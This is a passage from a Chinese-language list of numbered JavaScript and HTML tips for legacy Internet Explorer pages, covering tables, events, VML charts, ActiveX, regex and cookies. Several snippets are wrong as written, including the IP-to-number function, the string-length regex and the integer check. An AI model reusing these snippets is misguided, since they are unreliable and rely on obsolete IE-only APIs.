   <td width="20%">　</td> 
   <td width="20%">　</td> 
   <td width="20%">　</td> 
   <td width="20%">　</td> 
   <td width="20%">　</td> 
 </tr> 
</table>// 

80.删除表格某行，xx表示某行，下标从0开始计算 
document.all.myTable.deleteRow(xx)// 


81.动态的向表格中添加行 
<table id="t1" border="1"> 
</table> 
<script> 
function add() 
{ 
  t1.insertRow().insertCell().innerHTML = '<input name="test'+t1.rows.length+'">'; 
}//

82.event.x,event.clientX,event.offsetX区别： 
x:设置或者是得到鼠标相对于目标事件的父元素的外边界在x坐标上的位置。 clientX:相对于客户区域的x坐标位置，不
包括滚动条，就是正文区域。 offsetx：设置或者是得到鼠标相对于目标事件的父元素的内边界在x坐标上的位置。 
screenX:相对于用户屏幕。 



83.显示是鼠标按钮的哪个 
<body onMouseDown="alert(event.button)">点Mouse看看// 

84.打开C盘 
<form action="file:///c|/"><input type="submit" value="c:\ drive"></form>// 

85.当前屏幕的分辨率 
screen.width、screen.height// 

86.设置表格中的内容 
tbl.rows[0].cells[1].innerText=document.form.text1.value;// 


87.本地快捷键 
<p><a href="file:///::{208D2C60-3AEA-1069-A2D7-08002B30309D}" target="_blank">网上邻居</a></p> 
<p><a href="file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\d:\web" target="_blank">我的电脑</a></p> 
<p><a href="file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}" target="_blank">我的文档</a></p> 
<p><a href="file:///::{645FF040-5081-101B-9F08-00AA002F954E}" target="_blank">回收站</a></p> 
<p><a href="file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}" target="_blank">控制面板</a></p> 
<p><a href="file:///::{7007ACC7-3202-11D1-AAD2-00805FC1270E}">拨号网络</a>(windows 2000)</p> 



88.IE菜单 
<button onclick="min.Click()"><font face="webdings">0</font></button>//改变按钮上的图片 
<input type=button  onclick="document.execCommand('CreateLink','true','true')"> //创建新连接 
<input type=button  onclick="document.execCommand('print','true','true')"> //打印 
<input type=button  onclick="document.execCommand('saveas','true','网站制作.htm')">//另存为htm 
<input type=button  onclick="document.execCommand('saveas','true','网站制作.txt')">//另存为txt 
document.execCommand("SaveAs")//保存为 
document.execCommand('undo')//撤销上一次操作 

89.web对话框 
<SCRIPT> 
var contents='<style>body,td{font:menu}img{cursor:hand}</style>'; 
contents+='<title>你要关闭我吗</title>'; 
contents+='<body bgcolor=menu>'; 
contents+='<table width=100% height=100% border=0>'; 
contents+='<tr><td align=center>'; 
contents+='你要关闭我吗？<br>'; 
contents+='<img src=dark.gif onclick=self.close() alt="...关闭">'; 
contents+='<img src=jet.gif onclick=self.close() alt="全是关闭">'; 
contents+='</td></tr></table>'; 
showModalDialog("about:"+contents+"","","dialogHeight:50px;dialogWidth:250px;help:no;status:no") 
document.write(contents); 
</SCRIPT>// 


90.取第x,y的值 
<button onclick="t1.rows[x].cells[y].innerText='guoguo'"></button>// 



91.向新打开的网页上写内容 
newwin=window.open('about:blank','','top=10'); 
newwin.document.write('');// 




93.返回 
javascript:history.go(-2);// 



94.将页面上选中的内容复制到剪贴板 
abcdefg 
<input type='button' onclick="window.clipboardData.setData('text',document.selection.createRange().text);" value='复制页面选中的字符'>// 

95.将页面上选中的内容复制到剪贴板 
<INPUT TYPE="text" NAME="">kjhkjhkhkj<INPUT TYPE="button" onclick="document.execCommand('Copy', 'false', null);">//// 


96.鼠标移到下拉框时自动全部打开 
<select onmouseover="javascript:this.size=this.length" onmouseout="javascript:this.size=1"></select>// 

97.获得本机的文件 
var fso = new ActiveXObject("Scripting.FileSystemObject"); 
var f1 = fso.GetFile("C:\\bsitcdata\\ejbhome.xml"); 
alert("File last modified: " + f1.DateLastModified); // 

98.判断客户端是否是IE浏览器 
因为 document.all 是 IE 的特有属性，所以通常用这个方法来判断客户端是否是IE浏览器 ,document.all?1:0; 

99.创建新的下拉框选项 
new Option(text,value)这样的函数// 

100.在页面上画柱状图 
<STYLE> 
td{font-size:12px} 
body{font-size:12px} 
v\:*{behavior:url(#default#VML);} //这里声明了v作为VML公用变量 
</STYLE> 
<SCRIPT> 
mathstr=12; 
document.write ("<v:rect fillcolor='red' 
style='width:20;color:navy;height:"+5000/(1000/mathstr)+"'><br>&nbsp;%"+mathstr+"<br>4人<v:Extrusion backdepth='15pt' on='true'/></v:rect>") 
</SCRIPT> 
<v:rect fillcolor='red' style='width:20;color:navy;height:200'><br>%12<br>4人<v:Extrusion backdepth='15pt' on='true'/></v:rect> 
<v:rect fillcolor='yellow' style='width:20;color:navy;height:100'><br>%12<br>4人<v:Extrusion backdepth='15pt' on='true'/></v:rect>// 

101.饼图 
<style> 
v\:*     { behavior: url(#default#VML) } 
o\:*     { behavior: url(#default#VML) } 
.shape    { behavior: url(#default#VML) } 
</style> 
<script> 
function show(pie) 
{ 
pie.strokecolor=pie.fillcolor; 
pie.strokeweight=10; 
div1.innerHTML="<font size=2 color=red> " + pie.id +"</font> <font size=2>" + pie.title + "</font>"; 
} 
function hide(pie) 
{ 
pie.strokecolor="white"; 
pie.strokeweight=1; 
div1.innerHTML=""; 
} 
</script> 
</head> 
<body> 
<v:group style='width: 5cm; height: 5cm' coordorigin='0,0' coordsize='250,250'> 
<v:shape id='asp技术' style='width:10;height:10;top:10;left:0' title='得票数:6 比例:40.00%' onmouseover='javascript:show(this);' onmouseout='javascript:hide(this);' href='http://www.cnADO.com' CoordSize='10,10' strokecolor='white' fillcolor='#ffff33'><v:path v='m 300,200 ae 300,200,200,150,0,9437184 xe'/></v:shape> 
<v:shape id='php' style='width:10;height:10;top:10;left:0' title='得票数:1 比例:6.67%' onmouseover='javascript:show(this);' onmouseout='javascript:hide(this);' href='http://www.cnADO.com' CoordSize='10,10' strokecolor='white' fillcolor='#ff9933'><v:path v='m 300,200 ae 300,200,200,150,9437184,1572864 xe'/></v:shape> 
<v:shape id='jsp' style='width:10;height:10;top:10;left:0' title='得票数:2 比例:13.33%' onmouseover='javascript:show(this);' onmouseout='javascript:hide(this);' href='http://www.cnADO.com' CoordSize='10,10' strokecolor='white' fillcolor='#3399ff'><v:path v='m 300,200 ae 300,200,200,150,11010048,3145728 xe'/></v:shape> 
<v:shape id='c#写的.netWEB程序' style='width:10;height:10;top:10;left:0' title='得票数:3 比例:20.00%' onmouseover='javascript:show(this);' onmouseout='javascript:hide(this);' href='http://www.cnADO.com' CoordSize='10,10' strokecolor='white' fillcolor='#99ff33'><v:path v='m 300,200 ae 300,200,200,150,14155776,4718592 xe'/></v:shape> 
<v:shape id='vb.net写的.netWEB程序' style='width:10;height:10;top:10;left:0' title='得票数:2 比例:13.33%' onmouseover='javascript:show(this);' onmouseout='javascript:hide(this);' href='http://www.cnADO.com' CoordSize='10,10' strokecolor='white' fillcolor='#ff6600'><v:path v='m 300,200 ae 300,200,200,150,18874368,3145728 xe'/></v:shape> 
<v:shape id='xml技术' style='width:10;height:10;top:10;left:0' title='得票数:1 比例:6.67%' onmouseover='javascript:show(this);' onmouseout='javascript:hide(this);' href='http://www.cnADO.com' CoordSize='10,10' strokecolor='white' fillcolor='#ff99ff'><v:path v='m 300,200 ae 300,200,200,150,22020096,1572864 xe'/></v:shape> 
</v:group> 




<v:group style='width: 6cm; height: 6cm' coordorigin='0,0' coordsize='250,250'> 
<v:rect style='height:10;width:15;top:0;left:10' fillcolor='#ffff33'/> 
<v:rect style='height:28;width:100;top:0;left:30' stroked='false'><v:textbox style='fontsize:2'>asp技术</v:textbox/></v:rect> 
<v:rect style='height:10;width:15;top:30;left:10' fillcolor='#ff9933'/> 
<v:rect style='height:28;width:100;top:30;left:30' stroked='false'><v:textbox style='fontsize:2'>php</v:textbox/></v:rect> 
<v:rect style='height:10;width:15;top:60;left:10' fillcolor='#3399ff'/> 
<v:rect style='height:28;width:100;top:60;left:30' stroked='false'><v:textbox style='fontsize:2'>jsp</v:textbox/></v:rect> 
<v:rect style='height:10;width:15;top:90;left:10' fillcolor='#99ff33'/> 
<v:rect style='height:28;width:100;top:90;left:30' stroked='false'><v:textbox style='fontsize:2'>c#写的.netWEB程序</v:textbox/></v:rect> 
<v:rect style='height:10;width:15;top:120;left:10' fillcolor='#ff6600'/> 
<v:rect style='height:28;width:100;top:120;left:30' stroked='false'><v:textbox style='fontsize:2'>vb.net 写的.netWEB程序</v:textbox/></v:rect> 
<v:rect style='height:10;width:15;top:150;left:10' fillcolor='#ff99ff'/> 
<v:rect style='height:28;width:100;top:150;left:30' stroked='false'><v:textbox style='fontsize:2'>xml技术 
</v:textbox/></v:rect> 
</v:group> 

<div style="position: absolute; left: 10; top: 10; width: 760; height:16"> 
<table border="1" cellpadding="2" cellspacing="2" cellpadding="0" cellspacing="0"
style="border-collapse: collapse" bordercolor="#CCCCCC" width="100%" ID="Table1"> 
 <tr> 
  <td width="100%" id=div1 >　</td> 
 </tr> 
</table> 
</div>// 

102.是一个特殊的容器，想装个网页都行 
<button><iframe src="http://www.google.com/"></iframe></button>//button 

103.外部的html代码 
event.srcElement.outerHTML// 

104.标识当前的IE事件的触发器 
event.srcElement和event.keyCode// 


105.事件类型 
event.type// 



106.动态改变类型 
<style> 
.Overnone { border-width:0;background-color:darkblue;cursor:default;color:gold;width:115} 
.Outnone   {border-width:0;background-color:white;cursor:default;width:115} 
</style> 
<input class=Outnone onmouseover=this.className='Overnone' >// 




107.页面翻转 
<html dir=rtl ></html>// 

108.滚屏 
parent.scroll(x,y);// 
<body onload="s=0" onDblClick="s=setInterval('scrollBy(0, 1)',10)" onClick="clearInterval(s)">// 

109.改变状态栏 
self.status ="";// 

110.改变窗口大小 
window.resizeTo(200,300);// 



111.改变鼠标样式 
style 
BODY{CURSOR: url('mouse.ani'); 
SCROLLBAR-BASE-COLOR: #506AA8; 
SCROLLBAR-ARROW-COLOR: #14213F; 
}// 




112.背景透明 
<input type="button" value="Button" style="background-color: transparent; border: 0;">// 

113.鼠标为等待形状 
<input type=button onclick="this.style.cursor='wait'">// 



114.调用父窗口的函数 
opener.fucntion1();// 

115.body的内部html代码 
<input type="button" onclick="alert(code.document.body.innerHTML)" value="查看">// 

116.框架中调用父窗口的函数 
<INPUT TYPE='button' onclick='parent.test();' value='调用parent窗口的函数'>// 




117.交换节点 
<table  width=200  height=200  border> 
<tr><td  id=c1>CELL_1</td></tr> 
<tr><td  id=c2>CELL_2</td></tr> 
</table> 
<br> 
<input  type="button"  value="swap  row"  onclick="c1.swapNode(c2)">// 
118.删除节点 
<table  width=200  height=200  border> 
<tr id=trall><td  id=c1>CELL_1</td></tr> 
<tr><td  id=c2>CELL_2</td></tr> 
</table> 
<br> 
<input  type="button"  value="swap  row"  onclick="trall.removeNode(c2)">// 


119.添加节点 
addNode()// 



120.获得事件的父与子标签 
event.srcElement.children[0]和event.srcElement.parentElement // 



121.集中为按钮改变颜色 
<style> 
button{benc:expression(this.onfocus = function(){this.style.backgroundColor='#E5F0FF';})} 
</style> 
<button>New</button>// 


122.判断是左键还是右键被按下 
<body onmousedown=if(event.button==1) alert("左键");if(event.button==2)alert("右键") >// 

123.获得操作系统的名称和浏览器的名称 
document.write(navigator.userAgent)// 




124.alt/ctrl/shift键按下 
event.altKey //按下alt键 
event.ctrlKey //按下ctrl键 
event.shiftKey //按下shift键 

125.将当前位置定位为C盘。 
{window.location="c:"}// 

126.返回输入框的类型 
<script> 
alert(event.srcElement.type);// 
</script> 



127.模拟控件的单击事件 
<INPUT TYPE="hidden" name="guoguo" onclick="haha()"> 
<SCRIPT> 
<!-- 

function haha() 
{ 
alert(); 
} 
guoguo.click(); 
//--> 
</SCRIPT>// 


128.取出记录集的列名 
java.sql.ResultSet rset = com.bsitc.util.DBAssist.getIT().executeQuery(queryStatement, conn); 
java.sql.ResultSetMetaData metaData = rset.getMetaData(); 
int count = metaData.getColumnCount(); 
String name = metaData.getColumnName(i); 
String value = rset.getString(i);// 

129.格式化数字 
function format_number(str,digit) 
{ 
if(isNaN(str)) 
{ 
 alert("您传入的值不是数字！"); 
 return 0; 
} 
else if(Math.round(digit)!=digit) 
{ 
 alert("您输入的小数位数不是整数！"); 
 return 0; 
} 
else 
 return Math.round(parseFloat(str)*Math.pow(10,digit))/Math.pow(10,digit); 
} 
130.回车按钮转化为tab按钮 
if(event.keyCode==13) event.keyCode=9; //将 

131.滚动条滚动 
<button onclick="text1.scrollTop=text1.scrollHeight">Scroll</button><br> 
<textarea id="text1" cols=50 rows=10 > 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
</textarea>// 





132.判断是什么对象 
if(typeof(unknown)=="function")return true; 
if(typeof(unknown)!="object")return false;// 




133.取消文本框自动完成功能 
<input type="text" autocomplete="off"> // 



134.让下拉框自动下拉 
<select onmouseover="javascript:this.size=this.length" onmouseout="javascript:this.size=1"> 
<option value="">1</option> 
<option value="">2</option> 
<option value="">3</option> 
</select> // 

135.读取XML文件 
var childrenobj=myselect//document.all.myselect; 
   var oXMLDoc = new ActiveXObject('MSXML'); 
   oXMLDoc.url = "mymsg.xml"; 
   var oRoot=oXMLDoc.root; 
   if(oRoot.children != null) 
{ 
       for(var i=0;i<oRoot.children.item(0).children.length;++i) 
 { 
           oItem = oRoot.children.item(0).children.item(i); 
           oOption = new Option(oItem.text,oItem.value); 
  childrenobj.add(oOption); 
       } 
   } 
//mymsg.xml文件 
<?xml version="1.0" encoding="gb2312" ?> 
<childrenlist> 
<aa> 
<child value='3301'>杭州地区</child> 字串5 
<child value='3303'>温州地区</child> 
</aa> 
<aa> 
<child value='3310'>台州地区</child> 
<child value='3311'>丽水地区</child> 
</aa> 
</childrenlist>// 




136.点击图片，图片停止 
<a href="javascript:"><img src="http://www.51js.com/images/51js/red_forum.gif" border="0"></a>// 

137.显示本地计算机信息 
var WshNetwork = new ActiveXObject("WScript.Network"); 
alert("Domain = " + WshNetwork.UserDomain); 
alert("Computer Name = " + WshNetwork.ComputerName); 
alert("User Name = " + WshNetwork.UserName);// 


138.比较时间 
 tDate = new Date(2004,01,08,14,35); //年,月，日，时，分 
 dDate = new Date(); 
 tDate<dDate?alert("早于"):alert("晚于");// 



139.弹出鼠标所在处的链结地址 
 <body onmouseover="if (event.srcElement.tagName=='A')alert(event.srcElement.href)"><a href="http://51js.com/viewthread.php?tid=13589" >dddd</a><input>// 




140.注意不能通过与 undefined 做比较来测试一个变量是否存在，虽然可以检查它的类型是否为“undefined”。在以 


下的代码范例中，假设程序员想测试是否已经声明变量 x ： 
// 这种方法不起作用 
if (x == undefined) 
   // 作某些操作 
// 这个方法同样不起作用- 必须检查 
// 字符串 "undefined" 
if (typeof(x) == undefined) 
   // 作某些操作 
// 这个方法有效 
if (typeof(x) == "undefined") 
   // 作某些操作 

141.创建具有某些属性的对象 
var myObject = new Object(); 
myObject.name = "James"; 
myObject.age = "22"; 
myObject.phone = "555 1234";// 


142.枚举（循环）对象的所有属性 
for (var a in myObject) 
{ 
   // 显示 "The property 'name' is James"，等等。 
   window.alert("The property '" + a + "' is " + myObject[a]); 
}// 
143.判断一个数字是否是整数 
var a=23.2; 
alert(a%1==1)// 





144.新建日期型变量 
var a = new Date(2000, 1, 1); 
alert(a.toLocaleDateString()); 

145.给类定义新的方法 
function trim_1() 
{ 
 return this.replace(/(^\s*)|(\s*$)/g, ""); 
} 
String.prototype.trim=trim_1; 
alert('cindy'.trim()); 


146.定义一个将日期类型转化为字符串的方法 
function guoguo_date() 
{ 
var tmp1,tmp2; 
tmp1 =this.getMonth()+1+""; 
if(tmp1.length<2) 
 tmp1="0"+tmp1; 
tmp2 =this.getDate()+""; 
if(tmp2.length<2) 
 tmp2="0"+tmp2; 

return this.getYear()+"-"+tmp1+"-"+tmp2; 
} 
Date.prototype.toLiteString=guoguo_date; 
alert(new Date().toLiteString()) 


147. pasta 是有四个参数的构造器,定义对象。 
function pasta(grain, width, shape, hasEgg) 
{ 
   // 是用什么粮食做的？ 
   this.grain = grain; 

   // 多宽？（数值） 
   this.width = width;     

   // 横截面形状？（字符串） 
   this.shape = shape;   

   // 是否加蛋黄？（boolean） 
   this.hasEgg = hasEgg;   

   //定义方法 
   this.toString=aa; 
} 
function aa() 
{ 
; 
} 
//定义了对象构造器后，用 new 运算符创建对象实例。 
var spaghetti = new pasta("wheat", 0.2, "circle", true); 
var linguine = new pasta("wheat", 0.3, "oval", true); 
//补充定义属性，spaghetti和linguine都将自动获得新的属性 
pasta.prototype.foodgroup = "carbohydrates"; 


148.打印出错误原因 
try 
{ 
x = y   // 产生错误。 
} 
catch(e) 
{ 
  document.write(e.description)   //打印 "'y' is undefined". 
}// 

149.生成EXCEL文件并保存 
var ExcelSheet; 
ExcelApp = new ActiveXObject("Excel.Application"); 
ExcelSheet = new ActiveXObject("Excel.Sheet"); 
//本代码启动创建对象的应用程序（在这种情况下，Microsoft Excel 工作表）。一旦对象被创建，就可以用定义的对象变量在代码中引用它。 在下面的例子中，通过对象变量 ExcelSheet 访问新对象的属性和方法和其他 Excel 对象，包括 Application 对象和 ActiveSheet.Cells 集合。 
// 使 Excel 通过 Application 对象可见。 
ExcelSheet.Application.Visible = true; 
// 将一些文本放置到表格的第一格中。 
ExcelSheet.ActiveSheet.Cells(1,1).Value = "This is column A, row 1"; 
// 保存表格。 
ExcelSheet.SaveAs("C:\\TEST.XLS"); 
// 用 Application 对象用 Quit 方法关闭 Excel。 
ExcelSheet.Application.Quit();// 

150.根据标签获得一组对象 
var coll = document.all.tags("DIV"); 
if (coll!=null) 
{ 
for (i=0; i<coll.length; i++) 
... 
}// 


151.实现打印预览及打印 
<OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" height=0 id=wb name=wb width=0></OBJECT> 
<input type=button value=打印预览 onclick="wb.execwb(7,1)"> 
<input type=button onClick=document.all.wb.ExecWB(6,1) value="打印">// 

152.不通过form，直接通过名字引用对象 
<INPUT TYPE="text" NAME="gg" value=aaaaa> 
<SCRIPT> 
<!-- 
alert(document.all.gg.value) 
//--> 
</SCRIPT>// 

153.使鼠标滚轮失效 
function document.onmousewheel() 
{ 
return false; 
}// 

154.创建弹出窗口 
<SCRIPT LANGUAGE="JScript"> 
 var oPopup = window.createPopup(); 
 var oPopupBody = oPopup.document.body; 
 oPopupBody.innerHTML = "Display some <B>HTML</B> here."; 
 oPopup.show(100, 100, 200, 50, document.body); 
</SCRIPT>// 

155.取得鼠标所在处的对象 
var obj = document.elementFromPoint(event.x,event.y);// 

156.获得左边的对象 
<INPUT TYPE="text" NAME="gg"><INPUT TYPE="text" NAME="bb" onclick="this.previousSibling.value='guoguo'">// 



157.定位鼠标 
document.all.hint_layer.style.left  = event.x+document.body.scrollLeft+10; 
document.all.hint_layer.style.top  = event.y+document.body.scrollTop+10;// 

158.向下拉框指定位置添加项目 
var op  = document.createElement("OPTION"); 
document.all.selected_items.children(index).insertAdjacentElement("BeforeBegin",op); 
op.text  = document.all.all_items.text; 
op.value = document.all.all_items.value;// 

159.判断一个窗口是否已经打开，如果已经打开，则关闭之 
var a; 
if(a) 
a.close(); 
else 
a=window.open('','','');// 

160.动态创建一个标签 
newElem  = document.createElement("DIV"); 
newElem.id = "hint_layer"; 
document.body.appendChild(newElem); 
document.all.hint_layer.innerText="guoguo";// 
161.标题栏 
document.title// 

162.背景图片 
<body style="BACKGROUND-ATTACHMENT: fixed" background="img/bgfix.gif" ></body>//背景图片不动 

<STYLE TYPE="text/css"> 
<!-- 
BODY {background-image:img/bgchild.jpg; 
background-position: center; 
background-repeat: no-repeat; 
background-attachment: fixed;} 
--> 
</STYLE>//背景图片居中 

163.设置透明效果 
document.form.xxx.filters.alpha.opacity=0～100// 

164.定义方法 
var dragapproved=false; 
document.onmouseup=new Function("dragapproved = false");// 

165.将数字转化为人民币大写形式 
function convertCurrency(currencyDigits) { 
// Constants: 
var MAXIMUM_NUMBER = 99999999999.99; 
// Predefine the radix characters and currency symbols for output: 
var CN_ZERO = "零"; 
var CN_ONE = "壹"; 
var CN_TWO = "贰"; 
var CN_THREE = "叁"; 
var CN_FOUR = "肆"; 
var CN_FIVE = "伍"; 
var CN_SIX = "陆"; 
var CN_SEVEN = "柒"; 
var CN_EIGHT = "捌"; 
var CN_NINE = "玖"; 
var CN_TEN = "拾"; 
var CN_HUNDRED = "佰"; 
var CN_THOUSAND = "仟"; 
var CN_TEN_THOUSAND = "万"; 
var CN_HUNDRED_MILLION = "亿"; 
var CN_SYMBOL = "人民币"; 
var CN_DOLLAR = "元"; 
var CN_TEN_CENT = "角"; 
var CN_CENT = "分"; 
var CN_INTEGER = "整"; 

// Variables: 
var integral; // Represent integral part of digit number. 



var decimal; // Represent decimal part of digit number. 
var outputCharacters; // The output result. 
var parts; 
var digits, radices, bigRadices, decimals; 
var zeroCount; 
var i, p, d; 
var quotient, modulus; 

// Validate input string: 
currencyDigits = currencyDigits.toString(); 
if (currencyDigits == "") { 
 alert("Empty input!"); 
 return ""; 
} 
if (currencyDigits.match(/[^,.\d]/) != null) { 
 alert("Invalid characters in the input string!"); 
 return ""; 
} 
if ((currencyDigits).match(/^((\d{1,3}(,\d{3})*(.((\d{3},)*\d{1,3}))?)|(\d+(.\d+)?))$/) == null) { 
 alert("Illegal format of digit number!"); 
 return ""; 
} 

// Normalize the format of input digits: 
currencyDigits = currencyDigits.replace(/,/g, ""); // Remove comma delimiters. 
currencyDigits = currencyDigits.replace(/^0+/, ""); // Trim zeros at the beginning. 

// Assert the number is not greater than the maximum number. 
if (Number(currencyDigits) > MAXIMUM_NUMBER) { 
 alert("Too large a number to convert!"); 
 return ""; 
} 

// Process the coversion from currency digits to characters: 
// Separate integral and decimal parts before processing coversion: 
parts = currencyDigits.split("."); 
if (parts.length > 1) { 
 integral = parts[0]; 
 decimal = parts[1]; 
 // Cut down redundant decimal digits that are after the second. 
 decimal = decimal.substr(0, 2); 
} 
else { 
 integral = parts[0]; 
 decimal = ""; 
} 
// Prepare the characters corresponding to the digits: 
digits = new Array(CN_ZERO, CN_ONE, CN_TWO, CN_THREE, CN_FOUR, CN_FIVE, CN_SIX, CN_SEVEN, CN_EIGHT, CN_NINE); 
radices = new Array("", CN_TEN, CN_HUNDRED, CN_THOUSAND); 
bigRadices = new Array("", CN_TEN_THOUSAND, CN_HUNDRED_MILLION); 
decimals = new Array(CN_TEN_CENT, CN_CENT); 
// Start processing: 
outputCharacters = ""; 
// Process integral part if it is larger than 0: 
if (Number(integral) > 0) { 
 zeroCount = 0; 
 for (i = 0; i < integral.length; i++) { 
  p = integral.length - i - 1; 
  d = integral.substr(i, 1); 
  quotient = p / 4; 
  modulus = p % 4; 
  if (d == "0") { 
   zeroCount++; 
  } 
  else { 
   if (zeroCount > 0) 
   { 
    outputCharacters += digits[0]; 
   } 
   zeroCount = 0; 
   outputCharacters += digits[Number(d)] + radices[modulus]; 
  } 
  if (modulus == 0 && zeroCount < 4) {    outputCharacters += bigRadices[quotient]; 
  } 
 } 
 outputCharacters += CN_DOLLAR; 
} 
// Process decimal part if there is: 
if (decimal != "") { 
 for (i = 0; i < decimal.length; i++) { 
  d = decimal.substr(i, 1); 
  if (d != "0") { 
   outputCharacters += digits[Number(d)] + decimals; 
  } 
 } 
} 
// Confirm and return the final output string: 
if (outputCharacters == "") { 
 outputCharacters = CN_ZERO + CN_DOLLAR; 
} 
if (decimal == "") { 
 outputCharacters += CN_INTEGER; 
} 
outputCharacters = CN_SYMBOL + outputCharacters; 
return outputCharacters; 
}// 


166.xml数据岛绑定表格 
<html> 
<body> 
<xml id="abc" src="test.xml"></xml> 
<table border='1' datasrc='#abc'> 
<thead> 
<td>接收人</td> 
<td>发送人</td> 
<td>主题</td> 
<td>内容</td> 
</thead> 
<tfoot> 
<tr><th>表格的结束</th></tr> 
</tfoot> 
<tr> 
<td><div datafld="to"></div></td> 
<td><div datafld="from"></div></td> 
<td><div datafld="subject"></div></td> 
<td><div datafld="content"></div></td> 
</tr> 
</table> 
</body> 
</html> 

//cd_catalog.xml 
<?xml version="1.0" encoding="ISO-8859-1" ?> 
<!--  Edited with XML Spy v4.2 
 --> 
<CATALOG> 
<CD> 
 <TITLE>Empire Burlesque</TITLE> 
 <ARTIST>Bob Dylan</ARTIST> 
 <COUNTRY>USA</COUNTRY> 
 <COMPANY>Columbia</COMPANY> 
 <PRICE>10.90</PRICE> 
 <YEAR>1985</YEAR> 
 </CD> 
<CD> 
 <TITLE>Hide your heart</TITLE> 
 <ARTIST>Bonnie Tyler</ARTIST> 
 <COUNTRY>UK</COUNTRY> 
 <COMPANY>CBS Records</COMPANY> 
 <PRICE>9.90</PRICE> 
 <YEAR>1988</YEAR> 
 </CD> 
<CD> 
 <TITLE>Greatest Hits</TITLE> 
 <ARTIST>Dolly Parton</ARTIST> 
 <COUNTRY>USA</COUNTRY> 
 <COMPANY>RCA</COMPANY> 
 <PRICE>9.90</PRICE> 
 <YEAR>1982</YEAR> 
 </CD> 
<CD> 
 <TITLE>Still got the blues</TITLE> 
 <ARTIST>Gary Moore</ARTIST> 
 <COUNTRY>UK</COUNTRY> 
 <COMPANY>Virgin records</COMPANY> 
 <PRICE>10.20</PRICE> 
 <YEAR>1990</YEAR> 
 </CD> 
</CATALOG> 
// 


167.以下组合可以正确显示汉字 
================================ 
xml保存编码 xml页面指定编码 
ANSI  gbk/GBK、gb2312 
Unicode  unicode/Unicode 
UTF-8  UTF-8 
================================ 

168.XML操作 
<xml id="xmldata" src="/data/books.xml"> 
<div id="guoguo"></div> 
<script> 
var x=xmldata.recordset //取得数据岛中的记录集 
if(x.absoluteposition < x.recordcount) //如果当前的绝对位置在最后一条记录之前 
{ 
x.movenext();     //向后移动 
x.moveprevious();    //向前移动 
x.absoluteposition=1;   //移动到第一条记录 
x.absoluteposition=x.recordcount;//移动到最后一条记录，注意记录集x.absoluteposition是从1到记录集记录的个数的 
guoguo.innerText=xmldso.recordset("field_name"); //从中取出某条记录 
} 
</script> 


169.动态修改CSS的另一种方式 
this.runtimeStyle.cssText = "color:#990000;border:1px solid #cccccc";// 

170.正则表达式 
匹配中文字符的正则表达式： [\u4e00-\u9fa5] 
匹配双字节字符(包括汉字在内)：[^\x00-\xff] 

应用：计算字符串的长度（一个双字节字符长度计2，ASCII字符计1） 
String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;} 

匹配空行的正则表达式：\n[\s| ]*\r 字串4 
匹配HTML标记的正则表达式：/<(.*)>.*<\/\1>|<(.*) \/>/ 字串3 
匹配首尾空格的正则表达式：(^\s*)|(\s*$) 
字串3 
应用：javascript中没有像vbscript那样的trim函数，我们就可以利用这个表达式来实现，如下： 
String.prototype.trim = function() 
{ 
   return this.replace(/(^\s*)|(\s*$)/g, ""); 
} 


////////利用正则表达式分解和转换IP地址： 
下面是利用正则表达式匹配IP地址，并将IP地址转换成对应数值的Javascript程序： 字串5 

function IP2V(ip) 
{ 
re=/(\d+)\.(\d+)\.(\d+)\.(\d+)/g  //匹配IP地址的正则表达式 
if(re.test(ip)) 
{ 
return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1 
} 
else 
{ 
throw new Error("Not a valid IP address!") 
} 
} 

不过上面的程序如果不用正则表达式，而直接用split函数来分解可能更简单，程序如下：

var ip="10.100.20.168" 
ip=ip.split(".") 
alert("IP值是："+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1)) 


匹配Email地址的正则表达式：\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* 
匹配网址URL的正则表达式：http://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)? 

//////////利用正则表达式去除字串中重复的字符的算法程序： 
var s="abacabefgeeii" 
var s1=s.replace(/(.).*\1/g,"$1") 
var re=new RegExp("["+s1+"]","g") 
var s2=s.replace(re,"") 
alert(s1+s2)  //结果为：abcefgi 


思路是使用后向引用取出包括重复的字符，再以重复的字符建立第二个表达式，取到不重复的字符，两者串连。这个方法对于字符顺序有要求的字符串可能不适用。 


//////////得用正则表达式从URL地址中提取文件名的javascript程序，如下结果为page1 

s="http://www.9499.net/page1.htm" 
s=s.replace(/(.*\/){0,}([^\.]+).*/ig,"$2") 
alert(s) 

/////////利用正则表达式限制网页表单里的文本框输入内容： 

用正则表达式限制只能输入中文：onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,'')" 

onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,'') )" 


用正则表达式限制只能输入全角字符： onkeyup="value=value.replace(/[^\uFF00-\uFFFF]/g,'')" 

onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,'') )" 


用正则表达式限制只能输入数字：onkeyup="value=value.replace(/[^\d]/g,'') 

"onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))" 


用正则表达式限制只能输入数字和英文：onkeyup="value=value.replace(/[\W]/g,'') 

"onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))" 

171.设置和使用cookie 
<HTML> 
<BODY> 
设置与读取 cookies...<BR> 
写入cookie的值<input type=text name=gg> 
<INPUT TYPE = BUTTON Value = "设置cookie" onClick = "Set()"> 
<INPUT TYPE = BUTTON Value = "读取cookie" onClick = "Get()"><BR> 
<INPUT TYPE = TEXT NAME = Textbox> 
</BODY> 
<SCRIPT> 
function Set() 
{ 
var Then = new Date() 
Then.setTime(Then.getTime() + 60*1000 ) //60秒 
document.cookie = "Cookie1="+gg.value+";expires="+ Then.toGMTString() 
} 

function Get() 
{ 
var cookieString = new String(document.cookie) 
var cookieHeader = "Cookie1=" 
var beginPosition = cookieString.indexOf(cookieHeader) 
if (beginPosition != -1) 
{ 
